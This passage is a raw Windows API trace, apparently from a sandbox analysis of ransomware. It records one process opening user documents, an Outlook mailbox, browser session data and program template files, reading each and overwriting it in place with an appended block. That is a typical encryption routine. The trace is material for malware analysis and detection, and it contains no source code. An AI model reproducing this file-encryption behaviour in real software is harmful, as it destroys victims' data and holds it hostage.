lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x3f000 [0033.036] ReadFile (in: hFile=0x184, lpBuffer=0x262aca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x262aca8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0033.042] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x3f000 [0033.042] WriteFile (in: hFile=0x184, lpBuffer=0x262aca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x262aca8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0033.043] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0033.043] WriteFile (in: hFile=0x184, lpBuffer=0x261ec48*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x261ec48*, lpNumberOfBytesWritten=0x318f28c*=0x8000, lpOverlapped=0x0) returned 1 [0033.043] CloseHandle (hObject=0x184) returned 1 [0033.055] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.bak" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\sessionstore.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0033.055] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0033.055] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x3d6 [0033.055] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0033.055] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.055] ReleaseMutex (hMutex=0x128) returned 1 [0033.055] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sessionstore.bak", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0033.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sessionstore.bak", cchWideChar=16, lpMultiByteStr=0x1e78654, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sessionstore.bak", lpUsedDefaultChar=0x0) returned 16 [0033.056] ReadFile (in: hFile=0x184, lpBuffer=0x2622c98, nNumberOfBytesToRead=0x3d6, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2622c98*, lpNumberOfBytesRead=0x318f2bc*=0x3d6, lpOverlapped=0x0) returned 1 [0033.061] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0033.061] WriteFile (in: hFile=0x184, lpBuffer=0x1da3ec8*, nNumberOfBytesToWrite=0x95e, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesWritten=0x318f2d0*=0x95e, lpOverlapped=0x0) returned 1 [0033.061] CloseHandle (hObject=0x184) returned 1 [0033.062] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\EmptyDatabase.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\emptydatabase.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0033.062] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0033.062] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x341 [0033.062] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0033.062] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.063] ReleaseMutex (hMutex=0x128) returned 1 [0033.063] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EmptyDatabase.zip", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0033.063] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EmptyDatabase.zip", cchWideChar=17, lpMultiByteStr=0x1e78654, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EmptyDatabase.zip", lpUsedDefaultChar=0x0) returned 17 [0033.063] ReadFile (in: hFile=0x184, lpBuffer=0x2622c98, nNumberOfBytesToRead=0x341, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2622c98*, lpNumberOfBytesRead=0x318f2bc*=0x341, lpOverlapped=0x0) returned 1 [0033.074] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0033.074] WriteFile (in: hFile=0x184, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x8c9, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x318f2d0*=0x8c9, lpOverlapped=0x0) returned 1 [0033.074] CloseHandle (hObject=0x184) returned 1 [0033.075] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Visualizer.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\visualizer.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0033.075] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0033.075] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x558 [0033.076] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0033.076] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.076] ReleaseMutex (hMutex=0x128) returned 1 [0033.076] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Visualizer.zip", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0033.076] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Visualizer.zip", cchWideChar=14, lpMultiByteStr=0x1e6316c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Visualizer.zip", lpUsedDefaultChar=0x0) returned 14 [0033.076] ReadFile (in: hFile=0x184, lpBuffer=0x1dfc148, nNumberOfBytesToRead=0x558, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dfc148*, lpNumberOfBytesRead=0x318f2bc*=0x558, lpOverlapped=0x0) returned 1 [0033.087] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0033.087] WriteFile (in: hFile=0x184, lpBuffer=0x1df3c78*, nNumberOfBytesToWrite=0xae0, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1df3c78*, lpNumberOfBytesWritten=0x318f2d0*=0xae0, lpOverlapped=0x0) returned 1 [0033.087] CloseHandle (hObject=0x184) returned 1 [0033.088] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\LoginForm.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\loginform.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0033.088] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0033.089] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xb090 [0033.089] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0033.089] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.089] ReleaseMutex (hMutex=0x128) returned 1 [0033.089] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LoginForm.zip", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0033.089] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LoginForm.zip", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LoginForm.zip", lpUsedDefaultChar=0x0) returned 13 [0033.089] ReadFile (in: hFile=0x184, lpBuffer=0x261ec48, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x261ec48*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0033.096] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xa090 [0033.096] ReadFile (in: hFile=0x184, lpBuffer=0x1d85ca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d85ca8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0033.097] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xa090 [0033.097] WriteFile (in: hFile=0x184, lpBuffer=0x262aca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x262aca8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0033.097] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0033.097] WriteFile (in: hFile=0x184, lpBuffer=0x1de8de8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0033.097] CloseHandle (hObject=0x184) returned 1 [0033.098] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0033.099] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0033.099] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x42400 [0033.099] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0033.099] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.099] ReleaseMutex (hMutex=0x128) returned 1 [0033.099] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="voeimd@djhreuu.uhd.pst", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0033.099] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="voeimd@djhreuu.uhd.pst", cchWideChar=22, lpMultiByteStr=0x1e78bcc, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="voeimd@djhreuu.uhd.pst", lpUsedDefaultChar=0x0) returned 22 [0033.099] ReadFile (in: hFile=0x184, lpBuffer=0x261ec48, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x261ec48*, lpNumberOfBytesRead=0x318f278*=0x8000, lpOverlapped=0x0) returned 1 [0033.106] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x41400 [0033.108] ReadFile (in: hFile=0x184, lpBuffer=0x262aca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x262aca8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0033.108] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x41400 [0033.109] WriteFile (in: hFile=0x184, lpBuffer=0x262aca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x262aca8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0033.812] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0033.812] WriteFile (in: hFile=0x184, lpBuffer=0x1dabed8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dabed8*, lpNumberOfBytesWritten=0x318f28c*=0x8000, lpOverlapped=0x0) returned 1 [0033.812] CloseHandle (hObject=0x184) returned 1 [0033.818] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8QVH.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8qvh.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0033.818] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0033.818] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x11d7c [0033.818] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0033.818] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.818] ReleaseMutex (hMutex=0x128) returned 1 [0033.818] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8QVH.docx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0033.818] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8QVH.docx", cchWideChar=9, lpMultiByteStr=0x1e6320c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8QVH.docx", lpUsedDefaultChar=0x0) returned 9 [0033.818] ReadFile (in: hFile=0x184, lpBuffer=0x1dece18, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1dece18*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0033.819] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x10d7c [0033.820] ReadFile (in: hFile=0x184, lpBuffer=0x261ec48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x261ec48*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0033.820] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x10d7c [0033.820] WriteFile (in: hFile=0x184, lpBuffer=0x25c9c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c9c08*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0033.821] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0033.821] WriteFile (in: hFile=0x184, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0033.822] CloseHandle (hObject=0x184) returned 1 [0033.823] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\AfX5b2r--ls.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\afx5b2r--ls.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0033.824] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0033.824] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x127e5 [0033.824] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0033.824] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.824] ReleaseMutex (hMutex=0x128) returned 1 [0033.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AfX5b2r--ls.doc", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0033.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AfX5b2r--ls.doc", cchWideChar=15, lpMultiByteStr=0x1e6322c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AfX5b2r--ls.doc", lpUsedDefaultChar=0x0) returned 15 [0033.824] ReadFile (in: hFile=0x184, lpBuffer=0x1dece18, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1dece18*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0033.824] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x117e5 [0033.824] ReadFile (in: hFile=0x184, lpBuffer=0x261ec48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x261ec48*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0033.824] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x117e5 [0033.825] WriteFile (in: hFile=0x184, lpBuffer=0x25c9c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c9c08*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0033.825] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0033.825] WriteFile (in: hFile=0x184, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0033.825] CloseHandle (hObject=0x184) returned 1 [0033.827] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0033.827] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0033.827] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x11ff6 [0033.827] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0033.827] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.828] ReleaseMutex (hMutex=0x128) returned 1 [0033.828] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.828] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x1e6320c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0033.828] ReadFile (in: hFile=0x184, lpBuffer=0x1dece18, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1dece18*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0033.972] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x10ff6 [0033.972] ReadFile (in: hFile=0x184, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0033.972] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x10ff6 [0033.972] WriteFile (in: hFile=0x184, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0033.973] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0033.973] WriteFile (in: hFile=0x184, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0033.973] CloseHandle (hObject=0x184) returned 1 [0033.975] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0033.975] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0033.975] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, 